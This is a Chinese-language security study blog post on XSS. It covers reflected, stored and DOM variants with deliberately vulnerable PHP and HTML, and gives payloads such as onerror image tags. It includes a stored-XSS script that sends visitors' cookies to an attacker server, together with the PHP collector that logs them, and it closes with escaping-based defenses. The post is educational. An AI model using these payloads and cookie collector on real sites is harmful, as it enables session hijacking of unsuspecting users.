XSS漏洞

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub之Me and My Girlfriend

介绍

xss漏洞介绍

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
摘自:百度百科

也就是说,开发者在开发过程中没有较好的处理用户传入的内容,造成错将用户的输入当做网页代码执行。

实例

接下来看一个xss漏洞的实例

<?php
if (isset($_REQUEST['name'])){
    $name=$_REQUEST['name'];
    echo "<div>Hello , $name</div>";
}else{
    echo "name needed";
}
?>

访问此文件,提示需要参数name

在指定name参数后,会输出Hello , name

例如输入name=manlu
在这里插入图片描述
但假如攻击者输入了一串代码,就会造成xss漏洞

例如输入 name=<script>alert(/xss/)</script>

在这里插入图片描述
此时就会弹出一个弹窗,内容显示为 xss
在这里插入图片描述
这就是一个xss漏洞

作用

xss的作用非常广,最常用的是盗取cookiecsrf组合拳

其中盗取cookie尤为常见,还有一些黑客将xss做成蠕虫,在网络上大量传播。

举一个盗取Cookie的例子

有服务器A(192.168.1.8)和服务器B(192.168.1.5),现在运行在服务器B的网站上存在xss漏洞,hacker想通过这个xss漏洞盗取用户的cookie

192.168.1.5/index.php

<?php
$username = 'root';
$password = '123456';
$host = 'localhost';
$dataBase = 'xsstest';
$con = mysqli_connect($host, $username, $password, $dataBase);
if (!$con) {
    die("连接失败: " . mysqli_connect_error());
}
?>
<!doctype html>
<html lang="en">
<head>
    <?php
        if (isset($_POST['name']) && isset($_POST['content'])){
            $name=$_POST['name'];
            $content=$_POST['content'];
            $sql="INSERT INTO `comment`( `username`, `content`) VALUES ('$name','$content')";
            if ($con->query($sql)==true){
                echo "<script>alert('评论成功');location.href='index.php'</script>";
            }else{
                echo "<script>alert('评论失败');location.href='index.php'</script>";
            }
        }
    ?>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>评论区</title>
</head>
<body>
<div><h2>评论区</h2></div>
<div>
    <ul id="comment">
        <?php
        $sql = "select * from comment";
        $result = mysqli_query($con, $sql);
        while ($row = $result->fetch_assoc()) {
            echo "<li>" . $row['username'] .'<br>'. $row['content'] . "</li>";
        }
        ?>
    </ul>
</div>
<div>
    <h3>发布评论</h3>
    <label for="name">输入你的用户名:</label>
    <input type="text" id="name" name="name"><br>
    <label for="content">内容:</label>
    <input type="text" id="content" name="content" placeholder="评论的内容">
    <input type="button" value="提交" id="btn">
</div>
<script>
    document.getElementById("btn").onclick = function () {
        var name = document.getElementById('name').value.trim();
        var content = document.getElementById('content').value.trim();
        if (name === "") {
            alert("请输入用户名")
        } else if (content === '') {
            alert("请输入内容")
        } else {
            httpPost("index.php",{"name":name,"content":content})
        }
    };
    function httpPost(URL, PARAMS) {
        var temp = document.createElement("form");
        temp.action = URL;
        temp.method = "post";
        temp.style.display = "none";
        for (var x in PARAMS) {
            var opt = document.createElement("textarea");
            opt.name = x;
            opt.value = PARAMS[x];
            temp.appendChild(opt);
        }
        document.body.appendChild(temp);
        temp.submit();
    }
</script>
</body>
</html>

查看该站点,如图,可以查看其它用户的评论,也可以自己发表评论
在这里插入图片描述
假如输入名称为manlu,内容为Hello World
在这里插入图片描述
此时一个黑客插入了一段xss代码,内容如下

<script>var img=document.createElement("img");img.src="http://192.168.1.8/receive.php?cookie="+escape(document.cookie);document.body.appendChild(img);</script>

这段代码创建了一个不存在的图片,并将用户的cookie发送给receive.php,任意用户访问该评论区,都会被盗取cookie。

在这里插入图片描述
此时xss代码已经存在了数据库中
在这里插入图片描述

192.168.1.8/receive.php

<?php
if (isset($_REQUEST['cookie'])){
    $file=fopen('cookies.txt','a+');
    fwrite($file, $_REQUEST['cookie']);
    fclose($file);
}
?>

在用户访问后,192.168.1.8的目录中将会出现一个cookies.txt,如图

在这里插入图片描述

类型

xss漏洞有反射型,存储型和DOM型三种类型

反射型

场景:黑客在一个存在xss漏洞的网站上输入了一串盗取cookie的代码,当任意用户打开该页面,就会将这个用户的cookie发送给黑客。黑客将这个界面的链接发给被攻击者,诱骗被攻击者打开链接,实施xss盗取cookie。

反射型xss漏洞非常常见,上文的源码就是一个反射型xss漏洞。

存储型

又叫持久xss漏洞,指xss的代码存储到用户的数据库中

场景:一个博客网站存在xss漏洞,这个博客网站允许发布用户自己的博客。黑客在其中插入了盗取cookie的JavaScript代码,这个JavaScript代码被存储到了数据库中,每个打开他博客的用户cookie都会被盗取。
在这里插入图片描述
存储型xss漏洞是最常见的xss漏洞,在互联网上非常常见。

DOM型

通过修改页面的DOM节点形成的xss,称之为DOM Based XSS
例如

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>XSS</title>
</head>
<body>
<script>
    function test() {
        var str=document.getElementById("text").value;
        document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>"
    }
</script>
<div id="t"></div>
<input type="text" id="text" value="">
<input type="button" id="s" value="Write" onclick="test()">
</body>
</html>

访问网站,输入hello,会出现一个a标签,指向123
在这里插入图片描述
假如攻击者构造payload

' onclick=alert(/xss/)//

此时变为
在这里插入图片描述
按下超链接,触发xss漏洞
在这里插入图片描述

构造Payload

构造Payload的核心是闭合前面的标签,执行JavaScript代码

<img src=1 οnerrοr=alert(/xss/) >
<video><source οnerrοr=alert(/xss) >

同时闭合或注释前面和后面的标签

’ <img src=1 οnerrοr=alert(/xss/)>//
‘><img src=1 οnerrοr=alert(/xss/)>’<

更多的可以在https://www.html5sec.org/查看

XSS平台

在实际的渗透测试中,xss平台是非常有用的

我习惯使用https://xss.pt/xss.php,也可以自己搭建平台

xss平台提供了很多功能,可以轻松地进行xss攻击
在这里插入图片描述

XSS防范

说几个我在开发网站时防范xss的方法

1.长度限制
将长度限制在一定值内,虽然这样也可以进行绕过,但可以防范大部分的xss攻击

2.字符转义
过滤危险标签是不安全的,我在开发时直接将用户的输入进行转义
< 变成 &lt;
> 变成 &gt;
例如这是我写的用来处理xss

package tools;

import java.util.Arrays;
import java.util.HashMap;

public class CleanXSS {
    public static final String[] danger_words = new String[]{"<", ">", "\"", "'", "&", " "};
    public static final HashMap<String, String> map = new HashMap<>();

    public static String Clean(String s) {
        SetMap();
        Arrays.sort(danger_words);
        s = s.strip();
        StringBuilder result = new StringBuilder();
        for (int i = 0; i < s.length(); i++) {
            String l = s.substring(i, i + 1);
            if (Arrays.binarySearch(danger_words, l) >= 0) {
                result.append(map.get(l));
                continue;
            }
            result.append(l);
        }
        return result.toString();
    }

    public static void SetMap() {
        map.put("<", "&lt;");
        map.put(">", "&gt;");
        map.put("\"", "&quot;");
        map.put("'", "&apos;");
        map.put("&", "&amp");
        map.put(" ", "&nbsp;");
    }

    public static void main(String[] args) {
        String text="<script>alert(/xss/)</script>";
        String result=Clean(text);
        System.out.println(result);
    }

}

3.HttpOnly

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值